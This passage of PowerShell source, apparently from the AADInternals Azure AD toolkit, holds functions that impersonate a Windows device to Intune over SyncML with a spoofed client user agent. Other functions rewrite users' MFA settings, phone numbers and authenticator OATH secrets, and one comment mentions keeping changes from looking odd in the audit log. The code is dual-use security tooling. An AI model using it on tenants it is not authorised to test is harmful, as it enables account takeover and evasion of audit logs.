$binCert = [byte[]](Convert-B64ToByteArray -B64 ($xmlSecurityToken.'wap-provisioningdoc'.characteristic[0].characteristic[2].characteristic.characteristic.Parm.value))
|
||||
|
||||
# Create a new x509certificate
|
||||
$cert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new($binCert,"",[System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::PersistKeySet -bor [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::Exportable)
|
||||
|
||||
# Store the private key to so that it can be exported
|
||||
$cspParameters = [System.Security.Cryptography.CspParameters]::new()
|
||||
$cspParameters.ProviderName = "Microsoft Enhanced RSA and AES Cryptographic Provider"
|
||||
$cspParameters.ProviderType = 24
|
||||
$cspParameters.KeyContainerName ="AADInternals"
|
||||
|
||||
# Set the private key
|
||||
$privateKey = [System.Security.Cryptography.RSACryptoServiceProvider]::new(2048,$cspParameters)
|
||||
$privateKey.ImportParameters($rsa.ExportParameters($true))
|
||||
$cert.PrivateKey = $privateKey
|
||||
|
||||
# Generate the return value
|
||||
$joinInfo = @(
|
||||
$CA,
|
||||
$IntMedCA,
|
||||
$cert
|
||||
)
|
||||
|
||||
return $joinInfo
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Sep 3rd 2020
|
||||
# Automatically responses to the given command array
|
||||
function New-SyncMLAutoresponse
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$DeviceName,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[Object[]]$Commands,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[int]$MsgID,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[Hashtable]$Settings
|
||||
)
|
||||
Begin
|
||||
{
|
||||
$response200 = @(
|
||||
"Add"
|
||||
"Replace"
|
||||
"Atomic"
|
||||
"Delete"
|
||||
"Sequence"
|
||||
)
|
||||
}
|
||||
Process
|
||||
{
|
||||
$resCommands = @()
|
||||
$CmdID = 1
|
||||
|
||||
foreach($command in $commands)
|
||||
{
|
||||
|
||||
if($command.type -ne "Status")
|
||||
{
|
||||
# Just answer 400 to (almost) all requests
|
||||
$errorCode = 400
|
||||
|
||||
# For NodeCache requests
|
||||
if($command.Type -eq "Get" -and $command.LocURI.StartsWith("./Vendor/MSFT/NodeCache/"))
|
||||
{
|
||||
$errorCode = 404
|
||||
}
|
||||
|
||||
# Status must be 200 for predefined answers
|
||||
if($command.type -eq "Get" -and $Settings[$command.LocURI] -ne $null)
|
||||
{
|
||||
$errorCode = 200
|
||||
}
|
||||
|
||||
# Okay, let's be nice for some commands :)
|
||||
if($response200 -contains $command.Type)
|
||||
{
|
||||
$errorCode = 200
|
||||
}
|
||||
|
||||
# Create the status message
|
||||
$attr = [ordered]@{
|
||||
Type="Status"
|
||||
CmdID = $CmdID++
|
||||
MsgRef = $MsgID-1 # Status is always referring to the previous message
|
||||
CmdRef = $command.CmdID
|
||||
Cmd = $command.Type
|
||||
Data = $errorCode
|
||||
}
|
||||
|
||||
$resCommands += New-Object psobject -Property $attr
|
||||
|
||||
# Create the results message
|
||||
if($command.type -eq "Get" -and $Settings[$command.LocURI] -ne $null)
|
||||
{
|
||||
$attr = [ordered]@{
|
||||
Type="Results"
|
||||
CmdID = $CmdID++
|
||||
MsgRef = $MsgID-1 # Status is always referring to the previous message
|
||||
CmdRef = $command.CmdID
|
||||
Cmd = $command.Type
|
||||
LocURI = $command.LocURI
|
||||
Data = $Settings[$command.LocURI]
|
||||
}
|
||||
|
||||
$resCommands += New-Object psobject -Property $attr
|
||||
}
|
||||
|
||||
if($command.type -eq "Get" -and $errorCode -ne 200)
|
||||
{
|
||||
#if($VerbosePreference)
|
||||
#{
|
||||
Write-Warning " < No data ($MsgID): $command"
|
||||
#}
|
||||
}
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
$resCommands += $command
|
||||
$CmdID++
|
||||
}
|
||||
}
|
||||
|
||||
return $resCommands
|
||||
}
|
||||
}
|
||||
|
||||
# Sep 2nd 2020
|
||||
# Create a new SyncML request
|
||||
function New-SyncMLRequest
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$DeviceName,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[int]$SessionID,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[int]$MsgID,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[string]$VerDTD="1.2",
|
||||
[Parameter(Mandatory=$False)]
|
||||
[string]$VerProto="DM/1.2",
|
||||
[Parameter(Mandatory=$False)]
|
||||
[Object[]]$commands
|
||||
)
|
||||
Process
|
||||
{
|
||||
$CmdId = 1
|
||||
$syncBody=""
|
||||
|
||||
|
||||
foreach($command in $commands)
|
||||
{
|
||||
Write-Verbose " > $command"
|
||||
switch($command.Type)
|
||||
{
|
||||
"Alert"
|
||||
{
|
||||
if($command.ItemData)
|
||||
{
|
||||
|
||||
if($command.MetaType)
|
||||
{
|
||||
$meta = @"
|
||||
<Meta>
|
||||
<Type xmlns="syncml:metinf">$($command.MetaType)</Type>
|
||||
</Meta>
|
||||
"@
|
||||
}
|
||||
|
||||
$syncBody += @"
|
||||
<Alert>
|
||||
<CmdID>$($command.CmdId)</CmdID>
|
||||
<Data>$($command.Data)</Data>
|
||||
<Item>
|
||||
$meta
|
||||
<Data>$($command.ItemData)</Data>
|
||||
</Item>
|
||||
</Alert>
|
||||
"@
|
||||
}
|
||||
else
|
||||
{
|
||||
$syncBody += @"
|
||||
<Alert>
|
||||
<CmdID>$($command.CmdId)</CmdID>
|
||||
<Data>$($command.Data)</Data>
|
||||
</Alert>
|
||||
"@
|
||||
}
|
||||
|
||||
|
||||
break
|
||||
}
|
||||
"Replace"
|
||||
{
|
||||
|
||||
$syncBody += @"
|
||||
<Replace>
|
||||
<CmdID>$($command.CmdId)</CmdID>
|
||||
"@
|
||||
foreach($key in $command.Items.Keys)
|
||||
{
|
||||
$syncBody += @"
|
||||
|
||||
<Item>
|
||||
<Source>
|
||||
<LocURI>$key</LocURI>
|
||||
</Source>
|
||||
<Data>$($command.Items[$key])</Data>
|
||||
</Item>
|
||||
"@
|
||||
}
|
||||
$syncBody += "`n </Replace>"
|
||||
|
||||
|
||||
break
|
||||
}
|
||||
"Delete"
|
||||
{
|
||||
|
||||
break
|
||||
}
|
||||
"Atomic"
|
||||
{
|
||||
$syncBody += "`n"
|
||||
$syncBody += @"
|
||||
<Status>
|
||||
<CmdID>$($command.CmdId)</CmdID>
|
||||
<MsgRef>$($command.MsgRef)</MsgRef>
|
||||
<CmdRef>$($command.CmdRef)</CmdRef>
|
||||
<Cmd>$($command.Cmd)</Cmd>
|
||||
<Data>200</Data>
|
||||
</Status>
|
||||
"@
|
||||
break
|
||||
}
|
||||
"Sequence"
|
||||
{
|
||||
$syncBody += "`n"
|
||||
$syncBody += @"
|
||||
<Status>
|
||||
<CmdID>$($command.CmdId)</CmdID>
|
||||
<MsgRef>$($command.MsgRef)</MsgRef>
|
||||
<CmdRef>$($command.CmdRef)</CmdRef>
|
||||
<Cmd>$($command.Cmd)</Cmd>
|
||||
<Data>200</Data>
|
||||
</Status>
|
||||
"@
|
||||
break
|
||||
}
|
||||
"Final"
|
||||
{
|
||||
break
|
||||
}
|
||||
"Status"
|
||||
{
|
||||
$syncBody += "`n"
|
||||
$syncBody += @"
|
||||
<Status>
|
||||
<CmdID>$($command.CmdId)</CmdID>
|
||||
<MsgRef>$($command.MsgRef)</MsgRef>
|
||||
<CmdRef>$($command.CmdRef)</CmdRef>
|
||||
<Cmd>$($command.Cmd)</Cmd>
|
||||
<Data>$($command.Data)</Data>
|
||||
</Status>
|
||||
"@
|
||||
break
|
||||
}
|
||||
"Results"
|
||||
{
|
||||
$syncBody += "`n"
|
||||
$syncBody += @"
|
||||
<Results>
|
||||
<CmdID>$($command.CmdId)</CmdID>
|
||||
<MsgRef>$($command.MsgRef)</MsgRef>
|
||||
<CmdRef>$($command.CmdRef)</CmdRef>
|
||||
<Item>
|
||||
<Source>
|
||||
<LocURI>$($command.LocURI)</LocURI>
|
||||
</Source>
|
||||
<Data>$($command.Data)</Data>
|
||||
</Item>
|
||||
</Results>
|
||||
"@
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
# Construct the body
|
||||
|
||||
$syncML = @"
|
||||
<?xml version = "1.0" encoding = "UTF-8" ?>
|
||||
<SyncML>
|
||||
<SyncHdr>
|
||||
<VerDTD>$VerDTD</VerDTD>
|
||||
<VerProto>$VerProto</VerProto>
|
||||
<SessionID>$SessionID</SessionID>
|
||||
<MsgID>$MsgID</MsgID>
|
||||
<Target>
|
||||
<LocURI>https://r.manage.microsoft.com/devicegatewayproxy/cimhandler.ashx</LocURI>
|
||||
</Target>
|
||||
<Source>
|
||||
<LocURI>$DeviceName</LocURI>
|
||||
</Source>
|
||||
</SyncHdr>
|
||||
<SyncBody>
|
||||
$syncBody
|
||||
<Final/>
|
||||
</SyncBody>
|
||||
</SyncML>
|
||||
"@
|
||||
|
||||
return $syncML
|
||||
}
|
||||
}
|
||||
|
||||
# Sep 2nd 2020
|
||||
# Parses the SyncML response and returns an array containing all the returned commands
|
||||
function Parse-SyncMLResponse
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[System.Xml.XmlDocument]$SyncML
|
||||
)
|
||||
Process
|
||||
{
|
||||
$commands = @()
|
||||
$CmdId = 1
|
||||
|
||||
function parseNode
|
||||
{
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
$node,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[ref]$commands
|
||||
)
|
||||
Process
|
||||
{
|
||||
switch($node.Name)
|
||||
{
|
||||
"Status"
|
||||
{
|
||||
$attr = [ordered]@{
|
||||
Type="Status"
|
||||
CmdID = $node.CmdID
|
||||
MsgRef = $node.MsgRef
|
||||
CmdRef = 0
|
||||
Cmd = $node.Cmd
|
||||
Data = $node.Data
|
||||
}
|
||||
$commands.value += New-Object psobject -Property $attr
|
||||
break
|
||||
}
|
||||
"Get"
|
||||
{
|
||||
$attr = [ordered]@{
|
||||
Type="Get"
|
||||
CmdID = $node.CmdID
|
||||
LocURI = $node.Item.Target.LocURI
|
||||
}
|
||||
$commands.value += New-Object psobject -Property $attr
|
||||
break
|
||||
}
|
||||
"Add"
|
||||
{
|
||||
$attr = [ordered]@{
|
||||
Type="Add"
|
||||
CmdID = $node.CmdID
|
||||
LocURI = $node.Item.Target.LocURI
|
||||
}
|
||||
$commands.value += New-Object psobject -Property $attr
|
||||
break
|
||||
}
|
||||
"Replace"
|
||||
{
|
||||
$attr = [ordered]@{
|
||||
Type="Replace"
|
||||
CmdID = $node.CmdID
|
||||
LocURI = $node.Item.Target.LocURI
|
||||
MFormat = $node.Item.Meta.Format.'#text'
|
||||
MType = $node.Item.Meta.Type.'#text'
|
||||
Data = $node.Item.Data
|
||||
}
|
||||
$commands.value += New-Object psobject -Property $attr
|
||||
break
|
||||
}
|
||||
"Delete"
|
||||
{
|
||||
$attr = [ordered]@{
|
||||
Type="Delete"
|
||||
CmdID = $node.CmdID
|
||||
LocURI = $node.Item.Target.LocURI
|
||||
}
|
||||
$commands.value += New-Object psobject -Property $attr
|
||||
break
|
||||
}
|
||||
"Atomic"
|
||||
{
|
||||
# Parse nodes inside this one
|
||||
foreach($inode in $node.ChildNodes)
|
||||
{
|
||||
parseNode -node $inode -commands $commands
|
||||
}
|
||||
|
||||
$attr = [ordered]@{
|
||||
Type="Atomic"
|
||||
CmdID = $node.CmdID
|
||||
}
|
||||
$commands.value += New-Object psobject -Property $attr
|
||||
break
|
||||
}
|
||||
"Sequence"
|
||||
{
|
||||
# Parse nodes inside this one
|
||||
foreach($inode in $node.ChildNodes)
|
||||
{
|
||||
parseNode -node $inode -commands $commands
|
||||
}
|
||||
|
||||
$attr = [ordered]@{
|
||||
Type="Sequence"
|
||||
CmdID = $node.CmdID
|
||||
LocURI = ""
|
||||
}
|
||||
$commands.value += New-Object psobject -Property $attr
|
||||
break
|
||||
}
|
||||
"Final"
|
||||
{
|
||||
#$commands.value += New-Object psobject -Property @{Type="Final"}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
foreach($node in $SyncML.SyncML.SyncBody.ChildNodes)
|
||||
{
|
||||
parseNode -node $node -commands ([ref]$commands)
|
||||
}
|
||||
|
||||
if($VerbosePreference)
|
||||
{
|
||||
foreach($command in $commands)
|
||||
{
|
||||
Write-Verbose " < $command"
|
||||
}
|
||||
}
|
||||
|
||||
return $commands
|
||||
}
|
||||
}
|
||||
|
||||
# Sep 2nd 2020
|
||||
# Sends the given SyncML to Intune and returns the response as an xml document
|
||||
function Invoke-SyncMLRequest
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$SyncML,
|
||||
[Parameter(ParameterSetName='Certificate',Mandatory=$True)]
|
||||
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate
|
||||
)
|
||||
Process
|
||||
{
|
||||
$headers=@{
|
||||
"Content-Type" = "application/vnd.syncml.dm+xml; charset=utf-8"
|
||||
"Accept" = "application/vnd.syncml.dm+xml, application/octet-stream"
|
||||
"Accept-Charset" = "UTF-8"
|
||||
"User-Agent" = "MSFT OMA DM Client/1.2.0.1"
|
||||
}
|
||||
|
||||
Write-Debug "Request: $SyncML"
|
||||
|
||||
try
|
||||
{
|
||||
$response = Invoke-WebRequest -UseBasicParsing -Certificate $Certificate -Method Post -Uri "https://r.manage.microsoft.com/devicegatewayproxy/cimhandler.ashx?mode=Maintenance&Platform=WoA" -Headers $headers -Body $SyncML -ErrorAction SilentlyContinue -ContentType "application/vnd.syncml.dm+xml; charset=utf-8"
|
||||
$xml = [xml]$response.content
|
||||
}
|
||||
catch
|
||||
{
|
||||
throw "SyncML request failed"
|
||||
}
|
||||
|
||||
Write-Debug "Response: $($xml.OuterXml)"
|
||||
|
||||
return $xml
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
# Gets the object id of the device using device id
|
||||
# Sep 11th 2020
|
||||
|
||||
function Get-DeviceObjectId
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$DeviceId,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$TenantId,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$AccessToken
|
||||
)
|
||||
Process
|
||||
{
|
||||
$headers=@{
|
||||
"Authorization" = "Bearer $AccessToken"
|
||||
"Accept" = "application/json;odata=nometadata"
|
||||
}
|
||||
|
||||
Write-Verbose "Getting objectId for device $DeviceId"
|
||||
$devices = Invoke-RestMethod -UseBasicParsing -Method Get -Uri "https://graph.windows.net/$tenantId/devices?`$filter=deviceId eq guid'$DeviceId'&`$select=objectId,displayName,deviceId&api-version=1.61-internal" -Headers $headers
|
||||
|
||||
foreach($device in $devices.value)
|
||||
{
|
||||
if($device.deviceId -eq $DeviceId)
|
||||
{
|
||||
$ObjectId = $device.objectId
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if([string]::IsNullOrEmpty($ObjectId))
|
||||
{
|
||||
throw "Device $DeviceId not found!"
|
||||
}
|
||||
|
||||
return $ObjectId
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,949 @@
|
||||
## MFA functions utilizing provisioning API
|
||||
|
||||
# Mar 3rd 2020
|
||||
function Set-UserMFA
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Sets user's MFA settings
|
||||
|
||||
.DESCRIPTION
|
||||
Sets user's MFA settings using Provisioning API
|
||||
|
||||
.Parameter AccessToken
|
||||
Access Token of the user accessing Azure Active Directory to find the given user to get the SID
|
||||
|
||||
.Parameter UserPrincipalName
|
||||
User's principal name.
|
||||
|
||||
.Parameter State
|
||||
State of user's MFA: Disabled, Enabled, or Enforced.
|
||||
|
||||
.Parameter StartTime
|
||||
Remembers devices issued after the given time. Note! Applied only if State equals Enabled or Enfoced.
|
||||
|
||||
.Parameter PhoneNumber
|
||||
User's phone number used for MFA. Must in the following format "+CCC NNNNN" where CCC is country code and NNNN the phone number without leading zero.
|
||||
|
||||
.Parameter AlternativePhoneNumber
|
||||
User's alternative phone number used for MFA. Must in the following format "+CCC NNNNN" where CCC is country code and NNNN the phone number without leading zero.
|
||||
|
||||
.Parameter Email
|
||||
User's phone number used for MFA. Should be correct email address.
|
||||
|
||||
.Parameter DefaultMethod
|
||||
User's default MFA method: PhoneAppNotification, PhoneAppOTP, or OneWaySMS. TwoWayVoiceOffice and TwoWayVoiceMobile won't work in TRIAL tenants.
|
||||
In audit log: PhoneAppNotification=0, PhoneAppOTP=6, OneWaySMS=7, TwoWayVoiceOffice=5, TwoWayVoiceMobile=2
|
||||
|
||||
.Example
|
||||
PS C:\>$at=Get-AADIntAccessTokenForAADGraph
|
||||
PS C:\>Set-AADIntUserMFA -AccessToken $at -UserPrincipalName user@company.com -PhoneNumber "+1 123456789" -DefaultMethod PhoneAppNotification
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$False)]
|
||||
$UserPrincipalName,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[ValidateSet('Disabled','Enabled','Enforced')]
|
||||
$State,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[ValidateSet('PhoneAppOTP','PhoneAppNotification','OneWaySMS','TwoWayVoiceOffice','TwoWayVoiceMobile')]
|
||||
$DefaultMethod,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[DateTime]$StartTime=(Get-Date),
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$PhoneNumber,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AlternativePhoneNumber,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$Email
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Validation for phone numbers
|
||||
function valPho
|
||||
{
|
||||
Param([String]$PhoneNumber)
|
||||
if(![String]::IsNullOrEmpty($PhoneNumber))
|
||||
{
|
||||
$regex="^[+]\d{1,3} [1-9]\d{1,11}$" # 1-3 digits (country code), space, non-zero digit, and 1 to 11 digits.
|
||||
return [regex]::Match($PhoneNumber,$regex).success
|
||||
}
|
||||
else
|
||||
{
|
||||
return $true
|
||||
}
|
||||
}
|
||||
|
||||
# Check the phone numbers
|
||||
if(!((valPho $PhoneNumber) -and (valPho $AlternativePhoneNumber)))
|
||||
{
|
||||
Write-Error 'Invalid phone number format! Use the following format: "+CCC NNNNNNN" where CCC is the country code and NNNN the phonenumber without the leading zero.'
|
||||
return
|
||||
}
|
||||
|
||||
|
||||
$command="SetUser"
|
||||
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
|
||||
|
||||
# Get user name from access token if empty
|
||||
if([string]::IsNullOrEmpty($UserPrincipalName))
|
||||
{
|
||||
$UserPrincipalName = (Read-Accesstoken -AccessToken $AccessToken).unique_name
|
||||
}
|
||||
|
||||
# Convert time to text
|
||||
$startText = $StartTime.ToUniversalTime().toString("yyyy-MM-ddTHH:mm:ss+00:00").Replace(".",":")
|
||||
|
||||
# Set StrongAuthenticationRequirements
|
||||
$StrongAuthenticationRequirements="<c:StrongAuthenticationRequirements/>"
|
||||
if([string]::IsNullOrEmpty($State))
|
||||
{
|
||||
$StrongAuthenticationRequirements='<c:StrongAuthenticationRequirements i:nil="true"/>'
|
||||
}
|
||||
elseif($State -ne "Disabled")
|
||||
{
|
||||
$StrongAuthenticationRequirements=@"
|
||||
<c:StrongAuthenticationRequirements>
|
||||
<c:StrongAuthenticationRequirement>
|
||||
$(Add-CElement -Parameter "RelyingParty" -Value "*")
|
||||
$(Add-CElement -Parameter "RememberDevicesNotIssuedBefore" -Value "$startText")
|
||||
$(Add-CElement -Parameter "State" -Value "$State")
|
||||
</c:StrongAuthenticationRequirement>
|
||||
</c:StrongAuthenticationRequirements>
|
||||
"@
|
||||
}
|
||||
|
||||
# Set the default method
|
||||
$StrongAuthenticationMethods='<c:StrongAuthenticationMethods i:nil="true"/>'
|
||||
if(![String]::IsNullOrEmpty($DefaultMethod))
|
||||
{
|
||||
$StrongAuthenticationMethods=@"
|
||||
<c:StrongAuthenticationMethods>
|
||||
<c:StrongAuthenticationMethod>
|
||||
<c:IsDefault>$($DefaultMethod.Equals("PhoneAppOTP").ToString().ToLower())</c:IsDefault>
|
||||
<c:MethodType>PhoneAppOTP</c:MethodType>
|
||||
</c:StrongAuthenticationMethod>
|
||||
<c:StrongAuthenticationMethod>
|
||||
<c:IsDefault>$($DefaultMethod.Equals("PhoneAppNotification").ToString().ToLower())</c:IsDefault>
|
||||
<c:MethodType>PhoneAppNotification</c:MethodType>
|
||||
</c:StrongAuthenticationMethod>
|
||||
<c:StrongAuthenticationMethod>
|
||||
<c:IsDefault>$($DefaultMethod.Equals("OneWaySMS").ToString().ToLower())</c:IsDefault>
|
||||
<c:MethodType>OneWaySMS</c:MethodType>
|
||||
</c:StrongAuthenticationMethod>
|
||||
<c:StrongAuthenticationMethod>
|
||||
<c:IsDefault>$($DefaultMethod.Equals("TwoWayVoiceOffice").ToString().ToLower())</c:IsDefault>
|
||||
<c:MethodType>TwoWayVoiceOffice</c:MethodType>
|
||||
</c:StrongAuthenticationMethod>
|
||||
<c:StrongAuthenticationMethod>
|
||||
<c:IsDefault>$($DefaultMethod.Equals("TwoWayVoiceMobile").ToString().ToLower())</c:IsDefault>
|
||||
<c:MethodType>TwoWayVoiceMobile</c:MethodType>
|
||||
</c:StrongAuthenticationMethod>
|
||||
</c:StrongAuthenticationMethods>
|
||||
"@
|
||||
}
|
||||
|
||||
# Create the body for setting MFA
|
||||
$request_elements=@"
|
||||
<b:User xmlns:c="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration">
|
||||
$StrongAuthenticationMethods
|
||||
<c:StrongAuthenticationPhoneAppDetails i:nil="true"/>
|
||||
<c:StrongAuthenticationProofupTime i:nil="true"/>
|
||||
$StrongAuthenticationRequirements
|
||||
<c:StrongAuthenticationUserDetails>
|
||||
$(Add-CElement -Parameter "AlternativePhoneNumber" -Value "$AlternativePhoneNumber")
|
||||
$(Add-CElement -Parameter "Email" -Value "$Email")
|
||||
<c:OldPin i:nil="true"/>
|
||||
$(Add-CElement -Parameter "PhoneNumber" -Value "$PhoneNumber")
|
||||
<c:Pin i:nil="true"/>
|
||||
</c:StrongAuthenticationUserDetails>
|
||||
$(Add-CElement -Parameter "UserPrincipalName" -Value "$UserPrincipalName")
|
||||
</b:User>
|
||||
"@
|
||||
|
||||
# Create the envelope and call the API
|
||||
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
|
||||
|
||||
# Get the results
|
||||
$results = Parse-SOAPResponse($Response)
|
||||
|
||||
# Return
|
||||
$results
|
||||
}
|
||||
}
|
||||
|
||||
# Sets user's MFA app details
|
||||
# Jun 29th 2020
|
||||
function Set-UserMFAApps
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Sets user's MFA Apps settings
|
||||
|
||||
.DESCRIPTION
|
||||
Sets user's MFA Apps settings using Azure AD Graph
|
||||
|
||||
.Parameter AccessToken
|
||||
Access Token of the user accessing Azure Active Directory to find the given user to get the SID
|
||||
|
||||
.Parameter UserPrincipalName
|
||||
User's principal name.
|
||||
|
||||
.Parameter Id
|
||||
Id of the device.
|
||||
|
||||
.Parameter AuthenticationType
|
||||
Comma separated list of authentication types of the device. For example, "Notification, OTP" or just "OTP".
|
||||
In audit log: OTP=1, Notification=2.
|
||||
|
||||
.Parameter DeviceName
|
||||
Name of the device
|
||||
|
||||
.Parameter DeviceTag
|
||||
Tag. Usually "SoftwareTokenActivated".
|
||||
|
||||
.Parameter DeviceToken
|
||||
Device token of MFA Authenticator App.
|
||||
|
||||
.Parameter NotificationType
|
||||
Notification type of the app. Can be GCM (notification through app) or Invalid (just OTP).
|
||||
In audit log: OTP=1, GCM=4
|
||||
|
||||
.Parameter OathTokenTimeDrift
|
||||
Time drift of Oath token in seconds. Should be 0 or close to it.
|
||||
|
||||
.Parameter OathSecretKey
|
||||
Secret key for calculating OTPs.
|
||||
|
||||
.Parameter PhoneAppVersion
|
||||
Version of the app.
|
||||
|
||||
.Parameter TimeInterval
|
||||
Time interval.
|
||||
|
||||
.Example
|
||||
PS C:\>$at=Get-AADIntAccessTokenForAADGraph
|
||||
PS C:\>Get-AADIntUserMFAApps -AccessToken $at -UserPrincipalName user@company.com
|
||||
|
||||
AuthenticationType : Notification, OTP
|
||||
DeviceName : SM-R2D2
|
||||
DeviceTag : SoftwareTokenActivated
|
||||
DeviceToken : APA91...
|
||||
Id : 454b8d53-d97e-4ead-a69c-724166394334
|
||||
NotificationType : GCM
|
||||
OathTokenTimeDrift : 0
|
||||
OathSecretKey :
|
||||
PhoneAppVersion : 6.2001.0140
|
||||
TimeInterval :
|
||||
|
||||
AuthenticationType : OTP
|
||||
DeviceName : NO_DEVICE
|
||||
DeviceTag : SoftwareTokenActivated
|
||||
DeviceToken : NO_DEVICE_TOKEN
|
||||
Id : aba89d77-0a69-43fa-9e5d-6f41c7b9bb16
|
||||
NotificationType : Invalid
|
||||
OathTokenTimeDrift : 0
|
||||
OathSecretKey :
|
||||
PhoneAppVersion : NO_PHONE_APP_VERSION
|
||||
TimeInterval :
|
||||
|
||||
PS C:\>Set-AADIntUserMFAApps -AccessToken $at -Id 454b8d53-d97e-4ead-a69c-724166394334 -DeviceName "SM-3CPO"
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$UserPrincipalName,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[guid]$Id,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AuthenticationType,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$DeviceName,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$DeviceTag,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$DeviceToken,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[ValidateSet('Invalid','GCM')]
|
||||
[String]$NotificationType,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[int]$OathTokenTimeDrift,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$OathSecretKey,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$PhoneAppVersion,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$TimeInterval
|
||||
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
|
||||
|
||||
# Get user name from access token if empty
|
||||
if([string]::IsNullOrEmpty($UserPrincipalName))
|
||||
{
|
||||
$UserPrincipalName = (Read-Accesstoken -AccessToken $AccessToken).unique_name
|
||||
}
|
||||
|
||||
# Get user's current configuration and get the app details
|
||||
$MFAApps = Get-UserMFAApps -UserPrincipalName $UserPrincipalName -AccessToken $AccessToken
|
||||
|
||||
# If only one element, add it to array
|
||||
if(!$MFAApps.Count -gt 0)
|
||||
{
|
||||
$MFAApp = $MFAApps
|
||||
Remove-Variable MFAApps
|
||||
$MFAApps = @($MFAApp)
|
||||
}
|
||||
|
||||
$found = $false
|
||||
$pos=0
|
||||
foreach($app in $MFAApps)
|
||||
{
|
||||
if($app.id -eq ($id.ToString()))
|
||||
{
|
||||
$found = $true
|
||||
break
|
||||
}
|
||||
$pos++
|
||||
}
|
||||
|
||||
if(!$found)
|
||||
{
|
||||
Throw "Authentication app $id not found from user $UserPrincipalName"
|
||||
}
|
||||
|
||||
# Apply the new information
|
||||
if($AuthenticationType)
|
||||
{
|
||||
$MFAApps[$pos].AuthenticationType=$AuthenticationType
|
||||
}
|
||||
if($DeviceName)
|
||||
{
|
||||
$MFAApps[$pos].DeviceName=$DeviceName
|
||||
}
|
||||
if($DeviceTag)
|
||||
{
|
||||
$MFAApps[$pos].DeviceTag=$DeviceTag
|
||||
}
|
||||
if($DeviceToken)
|
||||
{
|
||||
$MFAApps[$pos].DeviceToken=$DeviceToken
|
||||
}
|
||||
if($NotificationType)
|
||||
{
|
||||
$MFAApps[$pos].NotificationType=$NotificationType
|
||||
}
|
||||
if($OathTokenTimeDrift -ne $MFAApps[$pos].OathTokenTimeDrift)
|
||||
{
|
||||
$MFAApps[$pos].OathTokenTimeDrift=$OathTokenTimeDrift
|
||||
}
|
||||
if($OathSecretKey)
|
||||
{
|
||||
$MFAApps[$pos].OathSecretKey=$OathSecretKey
|
||||
}
|
||||
if($PhoneAppVersion)
|
||||
{
|
||||
$MFAApps[$pos].PhoneAppVersion=$PhoneAppVersion
|
||||
}
|
||||
if($TimeInterval)
|
||||
{
|
||||
$MFAApps[$pos].TimeInterval=$TimeInterval
|
||||
}
|
||||
|
||||
# Create the body
|
||||
$body = '{ "strongAuthenticationDetail": {"phoneAppDetails": ['
|
||||
|
||||
# We need to reverse so that it doesn't look weird in audit log.
|
||||
for($a=$MFAApps.count-1; $a -ge 0; $a--)
|
||||
{
|
||||
$app=$MFAApps[$a]
|
||||
$body+="{"
|
||||
$body += """authenticationType"": ""$($app.AuthenticationType)"","
|
||||
